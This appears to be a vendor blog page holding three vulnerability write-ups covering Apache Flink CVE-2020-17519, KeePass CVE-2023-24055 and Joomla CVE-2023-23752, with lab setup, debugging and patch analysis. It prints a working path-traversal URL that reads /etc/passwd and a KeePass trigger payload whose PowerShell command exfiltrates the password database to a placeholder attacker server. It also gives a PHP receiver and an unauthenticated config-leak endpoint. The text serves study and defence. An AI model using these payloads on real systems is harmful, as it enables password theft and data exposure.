Skip to content

CVE-2020-17519: Apache Flink Directory Traversal Vulnerability

Introduction

Directory Traversal in Apache Flink version 1.11.0, 1.11.1, and 1.11.2 has been found and registered as #CVE-2020-17519

What is Apache Flink?

#Apache #Flink is an #open-source, unified stream-processing and batch-processing framework developed by the Apache Software Foundation. The core of Apache Flink is a distributed streaming data-flow engine written in Java and Scala. Flink executes arbitrary dataflow programs in a data-parallel and pipelined manner.

https://www.shodan.io/search?query=flink+port%3A8081

Background Story

After I figured out how to debug Apache Flink and edit the configuration so I can debug it remotely which gives the huge advantage of following the request step by step. However I had to figure out where I want to set the breakpoints, I started reading through the code (I almost read everything :D), and from previous experience and reading the API doc I figured out to check the router class, and there I found 6 classes.

The classes are not directly related however one of them handles and process the incoming HTTP requests and routes them to the right handler also to build more of a clear idea I had to understand those 6 classes more in detail.

After that being said, I found that channelRead0 it’s an interesting method, so I added a breakpoint there, I sent the request that triggers the vulnerability, and I started to step-in the program.

After a lot of stepping-in, I found the implemented method that decodes the URL and gets the path from it, also I found the method that read the file and how it gets loaded.

Build the lab

Install the system and prerequisites

  • OS: Ubuntu Server 20.04

  • You will need to install maven

    • sudo apt update

    • sudo apt install default-jdk

    • Download it from the following link: https://dlcdn.apache.org/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.tar.gz

    • sudo tar xf apache-maven-3.2.5-bin.tar.gz -C /opt

    • sudo ln -s /opt/apache-maven-3.2.5 /opt/maven

    • sudo vim /etc/profile.d/maven.sh

      • export JAVA_HOME=/usr/lib/jvm/default-java

      • export M2_HOME=/opt/maven

      • export MAVEN_HOME=/opt/maven

      • export PATH=${M2_HOME}/bin:${PATH}

    • sudo chmod +x /etc/profile.d/maven.sh

    • source /etc/profile.d/maven.sh

    • mvn -version

  • Install apache flink

Setup the debugger

  • Open flink-conf.yaml

  • Add the following:

    • env.java.opts: "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=1337"

  • By that, the debugger will be able to connect to port 1337.

  • Now run the solution

    • ./build-target/bin/start-cluster.sh

  • You can check it in your browser

http://localhost:8081/#/overview

  • Now run the debugger in this file

Reproduce the vulnerability

Once it’s all installed and ready you should be able to easily reproduce the vulnerability by browsing the following link:

http://localhost:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

Static Analysis

Explaining the code

From reading the document and going through whatever information I can find about this CVE, I know this is happening in the REST API.

You can notice here that the endpoint “jobmanager/logs” is part of the REST API.

https://nightlies.apache.org/flink/flink-docs-release-1.17/docs/ops/rest_api/

While you are reading in the doc, especially here, you can find that the REST API backend is in the flink-runtime.

From previous experience, for example, the analysis of Joomla CVE-2023–23752 (https://www.vicarius.io/vsociety/blog/cve-2023-23752-joomla-unauthorized-access-vulnerability)

I know that there is some routing function, and route handlers that handle and process the request.

Going through the folders and files and reading a lot of code, under flink-runtime/src/main/java/org.apache.flink.runtime, I found a folder named “rest” and I figured out it may be referring to rest API, and I found a handler folder there and there I found route

I started to read the codes in each file one by one.

MethodlessRouter

The MethodlessRouter class has the following components:

  • The routes map is a map of PathPattern objects to target objects.

  • The routes() method returns an unmodifiable map of all routes in the router.

  • The addRoute method adds a new route to the router by creating a new PathPattern object for the specified path pattern and adding it to the map of routes.

  • The removePathPattern method removes the route specified by the path pattern.

  • The route method takes a URI, a decoded path, a map of query parameters, and an array of path tokens as input, and returns a RouteResult object that contains the target object for the matched route, along with any path parameters and query parameters. It loops through the map of routes and checks if the path tokens match any of the PathPattern objects. If a match is found, the target object is returned along with any path parameters and query parameters.

  • The anyMatched method checks if there is any matching route for the given array of path tokens. It loops through the map of routes and checks if the path tokens match any of the PathPattern objects. If a match is found, it returns true.

  • The size method returns the number of routes in the router.

PathPattern

  • PathPattern which represents a pattern used to match a URL path. The class takes a path pattern as input in its constructor and creates a list of tokens from the pattern. The pattern can contain constants or placeholders, and if it exists, the placeholder with the format :* is a special placeholder to catch the rest of the path (may include slashes).

  • The class has two instance variables, pattern and tokens, both of which are final and set in the constructor. pattern is a string representing the pattern without slashes at both ends. tokens is an array of strings representing the pattern split by the / character, for example: constant1/constant2?foo=bar

  • PathPattern() constructor creates a new PathPattern object from a String pattern. It checks if the pattern contains a query, removes slashes from both ends of the pattern using removeSlashesAtBothEnds(), and splits the pattern into tokens.

  • removeSlashesAtBothEnds() This is a static utility method that removes slashes from both ends of a path. It takes a String path, checks if it is empty, finds the first non-slash character, finds the last non-slash character, and returns the substring between them.

  • Match()

    Params will be updated with params embedded in the request path.

    This method is designed so that requestPathTokens and params can be created only once then reused, to optimize for performance when a large number of path patterns need to be matched.

    Returns: false if not matched; in this case params should be reset

RoutedRequest.Java

This contains PathPattern and this is the same class as we explained it before and RoutedRequest class and this class is for handling HttpRequest with associated RouteResult.

Router

I will not go through the code for this, the doc explaining it in a very well way.

RouteResult

RouteResult is a class that represents the result of calling the Router#route(HttpMethod, String) method. It contains information about the matched route, such as the original request URI, the decoded request path, path parameters, and query parameters. It also holds a reference to the target that will handle the request.

  • The RouteResult class is defined with a generic type T which represents the target that will handle the request.

  • The RouteResult class has several instance variables:

    • uri: represents the original request URI.

    • decodedPath: represents the decoded request path.

    • pathParams: a map that contains all the path parameters embedded in the request path.

    • queryParams: a map that contains all the query parameters in the request URI.

    • target: the target that will handle the request.

  • The RouteResult class provides several methods to get the parameters from the path and query parameters:

    • queryParam(name): extracts the first matching parameter in the queryParams.

    • param(name): extracts the parameter in pathParams first, then falls back to the first matching parameter in queryParams.

    • params(name): extracts all parameters in pathParams and queryParams matching the name.

RouteHandler

RouterHandler class is an inbound handler that converts a HttpRequest to a RoutedRequest and passes the RoutedRequest to the matched handler. It also replaces the standard error response to be identical with those sent by the AbstractRestHandler.

  • ROUTER_HANDLER_NAME and ROUTED_HANDLER_NAME are constants used as names for the handler in the Netty pipeline.

  • LOG is a logger instance for logging debug or trace information about the handler.

  • responseHeaders is a map containing headers to be included in the HTTP response.

  • router is an instance of the Router class which is used to route incoming requests to their respective handlers.

  • The RouterHandler constructor takes a Router and a map of headers as parameters and initializes the router and responseHeaders fields accordingly.

  • getName() is a method that returns the name of the handler.

  • The RouterHandler class overrides the channelRead0 method, which is called by Netty whenever a new message is received on the channel. This method is responsible for routing incoming requests to their respective handlers and generating responses.

  • The overridden channelRead0 method first checks if the request expects 100-continue, and if so, sends a continue response and returns.

The HTTP 100 Continue informational status response code indicates that everything so far is OK and that the client should continue with the request or ignore it if it is already finished.

  • It then extracts the HTTP method and path from the request using httpRequest.getMethod() and httpRequest.uri(), respectively. It passes the method and path to the router.route method to obtain a RouteResult object, which contains the matched handler and any path or query parameters.

  • If the routeResult object is not null, the routed method is called to pass the request to the matched handler, otherwise, it will call respondNotFound and send Not Found response.

  • The routed method retrieves the handler from the routeResult object, and adds it to the Netty pipeline using pipeline.addAfter or pipeline.replace, depending on whether the handler was already added to the pipeline.

  • Finally, it creates a new RoutedRequest object using the routeResult and httpRequest, and passes it to the next channel handler in the pipeline using channelHandlerContext.fireChannelRead.

After we explained all the involved classes, you can understand why I thought RouterHandler is the most interesting one for me.

Debugging

Before we start the debugging, don’t forget to run the debugger you added before

Add a breakpoint here:

Now send the request, or just simply go to

http://localhost:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

instantly, you will see something like this, and you can notice the httpRequest with everything else related such as method, URI…etc.

Keep your eyes on the code and debugger.

Now step-in.

How does the URL get decoded and read as path

Once you reach to this line number 82 in RouterHandler.java

RouteResult<?> routeResult = router.route(method, qsd.path(), qsd.parameters());

Click the step-in button, and you will notice that route, path(), and parameter got highlighted.

Click on path()

This will lead you to QueryStringDecoder.class this method:

Now click step-in

Step in again and this will take you to decodeComponent method

This is basically a method that decodes a portion of a string that may contain URL-encoded characters.

    private static String decodeComponent(String s, int from, int toExcluded, Charset charset, boolean isPath) {

        int len = toExcluded - from;

        if (len <= 0) {

            return "";

        } else {

            int firstEscaped = -1;

            int decodedCapacity;

            for(int i = from; i < toExcluded; ++i) {

                decodedCapacity = s.charAt(i);

                if (decodedCapacity == 37 || decodedCapacity == 43 && !isPath) {

                    firstEscaped = i;

                    break;

                }

            }

            if (firstEscaped == -1) {

                return s.substring(from, toExcluded);

            } else {

                CharsetDecoder decoder = CharsetUtil.decoder(charset);

                decodedCapacity = (toExcluded - firstEscaped) / 3;

                ByteBuffer byteBuf = ByteBuffer.allocate(decodedCapacity);

                CharBuffer charBuf = CharBuffer.allocate(decodedCapacity);

                StringBuilder strBuf = new StringBuilder(len);

                strBuf.append(s, from, firstEscaped);

                for(int i = firstEscaped; i < toExcluded; ++i) {

                    char c = s.charAt(i);

                    if (c != '%') {

                        strBuf.append(c == '+' && !isPath ? ' ' : c);

                    } else {

                        byteBuf.clear();

                        do {

                            if (i + 3 > toExcluded) {

                                throw new IllegalArgumentException("unterminated escape sequence at index " + i + " of: " + s);

                            }

                            byteBuf.put(StringUtil.decodeHexByte(s, i + 1));

                            i += 3;

                        } while(i < toExcluded && s.charAt(i) == '%');

                        --i;

                        byteBuf.flip();

                        charBuf.clear();

                        CoderResult result = decoder.reset().decode(byteBuf, charBuf, true);

                        try {

                            if (!result.isUnderflow()) {

                                result.throwException();

                            }

                            result = decoder.flush(charBuf);

                            if (!result.isUnderflow()) {

                                result.throwException();

                            }

                        } catch (CharacterCodingException var16) {

                            throw new IllegalStateException(var16);

                        }

                        strBuf.append(charBuf.flip());

                    }

                }

                return strBuf.toString();

            }

        }

    }

The method takes the following variables a string s, a starting index from, an ending index toExcluded, a character set charset, and a boolean isPath.

private static String decodeComponent(String s, int from, int toExcluded, Charset charset, boolean isPath) {

The length of the portion of the string to decode is calculated as the difference between the ending index and the starting index. If the length is zero or negative, an empty string is returned. Otherwise, the decoding process begins.

int len = toExcluded - from;
if (len <= 0) {
    return "";
} else {

The firstEscaped variable is set to -1 to indicate that no URL-encoded characters have been found yet. The loop iterates over the portion of the string to decode and checks each character. If a character is either a percent sign (`%`) or a plus sign (`+`) and the isPath flag is false (indicating that the string is not a URL path), the firstEscaped variable is set to the index of the character and the loop breaks.

int firstEscaped = -1;

int decodedCapacity;
for(int i = from; i < toExcluded; ++i) {
    decodedCapacity = s.charAt(i);
    if (decodedCapacity == 37 || decodedCapacity == 43 && !isPath) {
        firstEscaped = i;
        break;
    }
}

If no URL-encoded characters were found, the entire portion of the string is returned unmodified using the substring method. Otherwise, the decoding process continues.

if (firstEscaped == -1) {
    return s.substring(from, toExcluded);
} else {
    ...
}
  • A CharsetDecoder object is created using the provided character set.

  • The decodedCapacity variable is set to the maximum number of bytes
    that could be required to represent the URL-encoded portion of the string in the given character set.

  • Byte and character buffers are allocated to hold the decoded data.

  • StringBuilder is created to accumulate the decoded characters.

  • Finally, strBuf.append(s, from, firstEscaped) that appends a substring of the original input string s to the StringBuilder object strBuf.

CharsetDecoder decoder = CharsetUtil.decoder(charset);
decodedCapacity = (toExcluded - firstEscaped) / 3;
ByteBuffer byteBuf = ByteBuffer.allocate(decodedCapacity);
CharBuffer charBuf = CharBuffer.allocate(decodedCapacity);
StringBuilder strBuf = new StringBuilder(len);
strBuf.append(s, from, firstEscaped);

The last part of the method decodes any URL-encoded characters found in the string and appends the resulting decoded characters to the StringBuilder that will be returned as the decoded string.

The loop starts at the index of the first URL-encoded character found earlier (`firstEscaped`) and iterates over each character in the remaining portion of the string to decode. If the character is not a percent sign (`%`), it is appended to the StringBuilder directly. If it is a percent sign, it indicates the start of a URL-encoded sequence, and the byte buffer is cleared.

The loop then reads the two hexadecimal digits that follow the percent sign in the input string, converts them to a byte value, and appends that byte to the byte buffer. This process continues until a non-percent character is found or the end of the string is reached. If the end of the string is reached before a terminating percent sign is found, an exception is thrown.

for(int i = firstEscaped; i < toExcluded; ++i) {
    char c = s.charAt(i);
    if (c != '%') {
        strBuf.append(c == '+' && !isPath ? ' ' : c);
    } else {
        byteBuf.clear();
        
        do {
            if (i + 3 > toExcluded) {
                throw new IllegalArgumentException("unterminated escape sequence at index " + i + " of: " + s);
            }

            byteBuf.put(StringUtil.decodeHexByte(s, i + 1));
            i += 3;
        } while(i < toExcluded && s.charAt(i) == '%');
        
        --i;
        byteBuf.flip();
        charBuf.clear();
        CoderResult result = decoder.reset().decode(byteBuf, charBuf, true);
        
        try {
            if (!result.isUnderflow()) {
                result.throwException();
            }
            
            result = decoder.flush(charBuf);
            if (!result.isUnderflow()) {
                result.throwException();

So in other words what happens is that it iterates through the URL or the path which you will see as a the value in variable s and It will decode it twice, once decode the double URL encoding, after that, it re-decodes it, so we have now the normal passwd path and that’s because it checks that there’s a character indicating that this is an URL-encoded value.

You can see here, it’s getting decoded from ..%252f to ..%2f

Watch the video here for more understanding:

https://youtu.be/j9-cP5JwY54

Once you get here

Hit another step-in, you suppose to get here (if not, just go to MethodlessRouter.java and add a breakpoint at line 94)

You will find yourself here:

You can see the pathParams variable it’s basically a filename and it maps to ../../../../../../../../../../../../etc/passwd

  • unmodifiableMap Returns an unmodifiable view of the specified map. This method allows modules to provide users with “read-only” access to internal maps. Query operations on the returned map “read through” to the specified map, and attempts to modify the returned map, whether direct or via its collection views, result in an UnsupportedOperationException.

    The returned map will be serializable if the specified map is serializable.

How is the file read and accessed

Keep following the debugger, you suppose to reach this line here:

This is amazing because the value of file is

/home/us1/Desktop/flink-release-1.11.0/flink-dist/target/flink-1.11.0-bin/flink-1.11.0/log/../../../../../../../../../../../../etc/passwd

Just to show you how this work, go to your terminal and cat this path, and it will cat the passwd file.

Keep stepping-in

You will start seeing information about the file in the debugger, such as the file length, the permissions (writable, readable, append), path, open or close ..etc.

The function that loads the file

Keep following the debugger, and you will reach this snippet of code:

and from here, another step-in, you will get to the method where it loads the file.

You can see here the filename and the passwd path.

and just for extra information, this will use File. java which creates a new File instance from a parent abstract pathname and a child pathname string.

Finally, you will notice that the content of passwd got sent to the browser

Mitigation

Any version after apache flink 1.11.2 is fixed.

Patch Diffing

We can see the changes here:

https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801#diff-30c0c4f6e68367e426ab85ce42ff037bcb1ed50a27417e4e55bf4e17bc734c7d

So basically they made changes on JobManagerCustomLogHandler.java.

This line

String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);

This will get only the name of the file, so if the attacker tried to achieve directory traversal the path won’t be the following as we saw it before

/home/us1/Desktop/flink-release-1.11.0/flink-dist/target/flink-1.11.0-bin/flink-1.11.0/log/../../../../../../../../../../../../etc/passwd

we would get passwd only as the file name as a result, the method would not be able to access the sensitive file outside the intended directory structure, and the attack would be prevented.

Final Thoughts

It’s not really that complicated vulnerability as a concept, all that happened is that a get file function getting injected with a specific path ../../../../etc/passwd and it’s very normal that it will follow this path and load the file.

However, what makes this breakdown complicated is that I’m trying to achieve what I like to call “deep understanding” and that’s because I’m VSOCIETY ELITE 1337 member 😈, but I like to understand what happened exactly, when, how, and why.

I would suggest you follow the debugging steps because it will make sense along with the code explanation.

The patch diffing was pretty much straightforward, I like patch diffing!

Resources:

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

KeePass Passwords Theft CVE-2023-240550

Introduction

CVE-2023-24055 is a vulnerability discovered in KeePass version 2.53 The vulnerability allows an attacker with write access to the XML configuration file on a system to steal vault credentials. KeePass is widely used as a free open-source password manager that stores sensitive information locally ,providing some advantages over cloud-based options and making it user-friendly

Set Up The Environment

  1. Go to install KeePass v2.53 from this archive site with the default configuration installation and create a database_file and set the master_key to be ready as in the following picture.

  2. For the attacker machine, I recommend using Kali Linux, which can be downloaded from the official website at kali. In this scenario, the victim machine will be running Windows 10. We will use also tools like Burp Suite as an HTTP proxy to inspect the traffic.

Dynamic Analysis

Based on this PoC the attack vector was through the configuration file located at C:\Program Files\KeePass Password Safe 2\KeePass.config.xml , using the Trigger feature

To explore this feature, let’s take a look at the options toolbar in the KeePass application.

Navigate to Tools > Triggers...

as shown in the following Picture:

The interesting thing here is that Triggers are enabled by default in KeePass, and there is an ‘Initially on’ option that causes the trigger to run every time KeePass starts. This gives an attacker an advantage in running the trigger without enabling it and are more customizable options available such as Event, Condition, and Action

By looking at each option in more detail, I realize that there were numerous options that could be used for malicious purposes, such as the Application started and ready feature. Attackers could exploit this option by using it as an event to trick victims into opening the application and initiating the trigger feature to export data and carry out malicious activities

and The Action option is used to perform specific tasks based on the specified Conditions and Events. These tasks can include executing command lines or URLs and exporting the active database, which can be risky for the user. An attacker can use these options to perform malicious actions, as demonstrated in the PoC

Static Analysis

The app was developed in C# it’s easy to reverse the code but we don’t need it cuz it’s open-source we have all we need in this repo :”

The vulnerability which is password theft in the code is caused by the app’s default policy that doesn’t require the user to enter their master key every time they export their password database. This behavior can be controlled through the app policy, which is located in the ExportUtil.cs file.

by the following code:

public static bool Export(PwExportInfo pwExportInfo, FileFormatProvider fileFormat,
			IOConnectionInfo iocOutput, IStatusLogger slLogger)
		{
			if(pwExportInfo == null) throw new ArgumentNullException("pwExportInfo");
			if(pwExportInfo.DataGroup == null) throw new ArgumentException();
			if(fileFormat == null) throw new ArgumentNullException("fileFormat");

			bool bFileReq = fileFormat.RequiresFile;
			if(bFileReq && (iocOutput == null))
				throw new ArgumentNullException("iocOutput");
			if(bFileReq && (iocOutput.Path.Length == 0))
				throw new ArgumentException();

			PwDatabase pd = pwExportInfo.ContextDatabase;
			Debug.Assert(pd != null);

			if(!AppPolicy.Try(AppPolicyId.Export)) return false;
			if(!AppPolicy.Current.ExportNoKey && (pd != null))
			{
				if(!KeyUtil.ReAskKey(pd, true)) return false;
			}

Simply the Export method in the code ensures that all required parameters are present and valid, and checks the application policy to ensure that exporting data is allowed. If a master key is required for the export process, it prompts the user to enter the master_key . The application policy includes rules such as Export -No Key Repeat, which dictate how the export process should be handled and more as

shows in this picture :

KeePass has two types of configuration files that are managed by the file AppConfigSerializer.cs. This file loads and saves the configuration, and it includes two types of files: enforced configuration files and user-specific configuration files.

note this code have a lot of lines so i will focus my analysis on the two methods most relevant to the CVE which is LoadFromEnforcedConfig(),LoadUserConfiguration()

The LoadFromEnforcedConfig() method reads configuration settings from an enforced_config.xml file, which overrides any user-configured settings. It’s useful for enforcing global settings, like security policies, across multiple instances of KeePass.

On the other hand, the LoadUserConfiguration() method reads user-specific settings from the KeePass.config.xml file. This file allows users to customize KeePass according to their preferences, and it overrides default settings in the sample configuration file.

The enforced configuration file and user-specific configuration file serve different purposes. The enforced configuration file is useful for enforcing global settings, while the user-specific configuration file is helpful for customizing individual user settings.

so by analyzing KeePass flow for vulnerabilities, the user-specific configuration file can be a potential attack vector because it’s user-controlled and can be manipulated to inject malicious code like the following code below in Proof-Of-Concept

In contrast, the enforced configuration file is less vulnerable to attacks since it’s not user-configurable because it’s managed by the system or administrator,.

and in order to use the trigger feature in KeePass through the Application GUI, it is required to enter the master_key while opening the application, if the code is injected into the config file, it is unnecessary to enter the master_key because the trigger will be updated from the config file when the victim opens the application. As shown in the PoC, anyone with write access to the config file can potentially add triggers like the following to exfiltrate the database passwords.

<Triggers>
	<Trigger>
		<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
		<Name>exploit</Name>
		<Events>
			<Event>
				<TypeGuid>2PMe6cxpSBuJxfzi6ktqlw==</TypeGuid> 
				<Parameters>
					<Parameter>0</Parameter>
					<Parameter />
				</Parameters>
			</Event>
		</Events>
		<Conditions />
		<Actions>
			<Action>
				<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
				<Parameters>
					<Parameter>C:\Users\STAR TOP\Desktop\exploit.xml</Parameter>
					<Parameter>KeePass XML (2.x)</Parameter>
					<Parameter />
					<Parameter />
				</Parameters>
			</Action>
			<Action>
				<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
				<Parameters>
					<Parameter>PowerShell.exe</Parameter>
					<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml'))) </Parameter>
					<Parameter>False</Parameter>
					<Parameter>1</Parameter>
					<Parameter />
				</Parameters>
			</Action>
		</Actions>
	</Trigger>
</Triggers>

During the code analysis, we identified the presence of a globally unique identifier (GUID) under the <Trigger> parameter. This GUID is utilized to identify values, including byte arrays and base64 encoded strings such as lztpSRd56EuYtwwqntH7TQ==, and it is also used to reference the trigger function name exploit.

The second parameter is the TypeGuid , which is another globally unique identifier 2PMe6cxpSBuJxfzi6ktqlw== and that refers to the Application started and ready option in the event part.

and the third parameter that containing D5prW87VRr65NO2xP5RIIg== is used for exporting the active database and selecting the file format as KeePass XML (2.x), and well as setting the file path

then code then uses powershell.exe by referencing the `TypeGuid` which is 2uX4OwcwTBOe7y66y27kxw== to execute a command that performs the exfiltration which means unauthorized copying or transmission of database or important data to the attacker’s server.

by performing the following commands

-ex bypass to bypass the PowerShell execution policy, -c to execute the Invoke-WebRequest cmdlet, which allows sending HTTP/HTTPS requests. -uri to specify the URL of the attacker’s server to receive the encoded data.

-Method to use the POST request method and -Body to include the base64-encoded data of the passwords file in the body of the POST request.

([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('database_path'))) function to convert the data to base64 data and put it in the post-body request

Like the following picture

Patch info

The developer recently removed the Export - No Key Repeat application policy flag in KeePass. As a result, the program now always prompts the user to enter their current master_key when attempting to export data. However, it’s important to note that the patch did not cover the Execute command line \ URL feature. This means that an attacker could potentially use this feature to repeatedly execute malicious code, leading to Windows persistence through the same attack method which is trigger feature

Proof-Of-Concept

this POC I will exploit it manually but it can be automated as seen in the code we have all the important parameters and GUID’s value, it’s not a new bug there is a lot of automation script for this bug GhostPack which is A collection of security-related toolsets.

you find it here KeePassConfig.ps1

1. inject our trigger code to the configuration file KeePass.config.xml between

<TriggerSystem>the trigger code</TriggerSystem>

like the following picture:

2. setting up the attacker server I will use php a built-in web server as the attacker server which will receive and decode the base64 data by the following command php -S 0.0.0.0:80

and we will save this file in the same directory and run the command and wait for the request for the data

<?php

if($_SERVER['REQUEST_METHOD'] == 'POST'){
	$base64_string = file_get_contents('php://input');
	$binary_data = base64_decode($base64_string);
	$file_path = 'path/to/save/file.txt';
	if(file_put_contents($file_path, $binary_data)){
		echo 'File saved successfully.';
	} else {
		echo 'Error saving file.';
	}
}

Simply this code checks if the request is a POST method and retrieves base64-encoded content from the request body. It then decodes and saves the content to a specified file path.

3. while the victim opens the KeePass app the attacker will receive the data file like the following picture:

Mitigation

it’s highly recommended to keep all your applications and software up to date. However, you can be editing the enforced configuration file with the specific policy can be changed by using it’s only accessible for the Administrator account which it namedKeePass.config.enforced.xml

like the following code

<?xml version="1.0" encoding="utf-8"?>
<Configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
   <Application>
      <TriggerSystem>
         <Enabled>false</Enabled>
      </TriggerSystem>
   </Application>
</Configuration>

The enforced configuration of KeePass disables the trigger feature at an administrator level for all users by default. This mitigation helps prevent unauthorized access, code injection, and data breaches by malicious actors.

Conclusion

As we have seen, we cannot always trust applications to be completely secure, even password managers. For instance, if an affected version of KeePass is used in an Active Directory environment, an attacker can gain access to the passwords of the entire organization.

#CVE-2023-240550

About Version 2
Version 2 is one of the most dynamic IT companies in Asia. The company develops and distributes IT products for Internet and IP-based networks, including communication systems, Internet software, security, network, and media products. Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

CVE-2023–23752: Joomla Unauthorized Access Vulnerability

Introduction

Unauthorized access vulnerability based on information disclosure in #Joomla CMS versions 4.0.0–4.2.7 has been found and registered as #CVE-2023-23752.

  • Project: Joomla!

  • SubProject: CMS

  • Impact: Critical

  • Severity: High

  • Probability: High

  • Versions: 4.0.0–4.2.7

  • Exploit type: Incorrect Access Control

  • Reported Date: 2023–02–13

  • Fixed Date: 2023–02–16

  • CVE Number: CVE-2023–23752

What is Joomla CMS?

Joomla is a popular open-source content management system (CMS) that allows users to build websites and online applications. It was first released in 2005 and has since grown to become one of the most widely used CMS platforms in the world, with a large and active community of users and developers.

Joomla is built on PHP and uses a MySQL database to store and manage content. It provides a user-friendly interface for managing content, templates, and extensions, making it easy for users with little technical knowledge to create and manage websites.

Joomla offers a wide range of features and functionalities, including the ability to create multiple user accounts with different levels of access, create and manage custom content types, and support for multilingual websites. It also has a large library of extensions and plugins available, allowing users to add new features and functionality to their websites.

Joomla is free to use and distribute, and it is licensed under the GNU General Public License. Its open-source nature has contributed to its popularity and has allowed it to evolve over time, as the community continues to contribute to its development and improvement.

Build the lab

Install the system and prerequisites

  • Setup Ubuntu (I’m using Ubuntu server 20.04)

  • Update the server
     sudo apt update

  • Install Apache
     apt install apache2 

  • Start the apache service
     systemctl start apache2 

  • Check the status of the apache service
     systemctl status apache2

  • Install PHP modules
    apt install php php-xml php-mysql php-mbstring php-zip php-soap php-sqlite3 php-curl php-gd php-ldap php-imap php-common

  • Install mysql
     apt install mysql-server

  • Configure the database

mysql -u root -p
create database joomla;
use joomla;
create user 'user'@localhost identified by '123456';
grant all privileges on joomla.* to 'user'@localhost;
flush privileges;
exit  
  • Create a directory for Joomla

cd /var/www/
mkdir joomla
cd joomla
  • Download Joomla

wget https://downloads.joomla.org/cms/joomla4/4-2-6/Joomla_4-2-6-Stable-Full_Package.zip?format=zip
  • Unzip the folder
    unzip 'Joomla_4-2-6-Stable-Full_Package.zip?format=zip'

  • Configure the permissions

chown -R www-data. ./
chmod -R 755 ./
  • Create virtualhost

vim /etc/apache2/sites-available/joomla.conf

<virtualhost *:80>

servername www.mhzcyber.com
documentroot /var/www/joomla/

</virtualhost>
  • Disable default access
    a2dissite 000-default.conf

  • Enable site access
     a2ensite joomla.conf

  • Enable rewrite module
    a2enmod rewrite

  • Restart Apache service
    systemctl restart apache2

  • Now browse the IP address of the server or the domain name

  • Click “Open Administrator” and login

Background Story

What I’m trying to achieve 

here is an understanding of the software flow, understand how it works, how the vulnerable endpoint gets processed, and why when we set the public parameter to true it gives us all this data finally from where we are getting this data.

What I did?

Basically, I started with reproducing the vulnerability, and from there I went to static analysis but when I got to the route() function, I needed more understanding of the flow, so I started debugging the software, following step by step.
I explained Understand the authentication bypass, Understand where the config data came from and this part made me go back and debug from the beginning starting with index.php so we understand how the data gets loaded, finally I explained understand how this data gets sent i.e. the response.

Reproduce the vulnerability

Browse the following path:

api/index.php/v1/config/application?public=true

Here we can see the leaked information, and all the config data of the database.

This will allow us to access the database if we can remotely connect to it, and if a malicious actor got the ability to access the internal network it will be able to access the database and from there you can implement multiple attacks such as accessing other accounts inside the company, spear phishing, privilege escalation ..etc.

Before we get into the static analysis, I added the methods that I went through during the debugging and the analysis trying to build a flow to make understanding this easier.

Static Analysis

Check the directory of Joomla and you can find configuration.php

I started to search for the following keywords:

  • configuration.php

  • JConfig

  • the keywords existed in the configuration file

and I find that there is an installation folder where we can see “ConfigurationMode.php” basically the purpose of this code is to create and set the configuration file.

I was thinking but how this is getting processed? I mean where I can see what’s happening when we set the public parameter to true

First thing let’s check api/index.php 

Now let’s follow '/includes/app.php' 

After reading the code here, you can read only the comments and it will be enough to make sense (it’s not really relevant). However, from there the most interesting part here is the execute() function.

I followed this and I found the execute() function in CMSApplication.php

I need to study this function and whatever called functions in it, basically, this function contains the high-level logic for executing the application.

I started to check the first 4 functions.

  • sanityCheckSystemVariables()

this method checks for any invalid system variables that may cause issues during the application’s execution and unsets them. If there are any invalid system variables, it aborts the application.

  • setupLogging()

This method sets up the logging configuration for the Joomla CMS application. It checks the application configuration for various logging-related settings and configures loggers accordingly.

  • createExtensionNamespaceMap()

This method allows the application to load a custom or default identity by creating an extension namespace map.

  • doExecute()

When I tried to follow this function, first I got to here:

After that I found the main function here:

It starts with initialiseApp() which basically loads the language, sets some events, and listeners. i.e. Initialize the application.

So, from the called and used functions here the one that got my attention is route()

You can find the route function in the following path : 

\libraries\src\Application\ApiApplication.php -> route

protected function route()
    {
        $router = $this->getContainer()->get(ApiRouter::class);

        // Trigger the onBeforeApiRoute event.
        PluginHelper::importPlugin('webservices');
        $this->triggerEvent('onBeforeApiRoute', array(&$router, $this));
        $caught404 = false;
        $method    = $this->input->getMethod();

        try {
            $this->handlePreflight($method, $router);

            $route = $router->parseApiRoute($method);
        } catch (RouteNotFoundException $e) {
            $caught404 = true;
        }

        /**
         * Now we have an API perform content negotiation to ensure we have a valid header. Assume if the route doesn't
         * tell us otherwise it uses the plain JSON API
         */
        $priorities = array('application/vnd.api+json');

        if (!$caught404 && \array_key_exists('format', $route['vars'])) {
            $priorities = $route['vars']['format'];
        }

        $negotiator = new Negotiator();

        try {
            $mediaType = $negotiator->getBest($this->input->server->getString('HTTP_ACCEPT'), $priorities);
        } catch (InvalidArgument $e) {
            $mediaType = null;
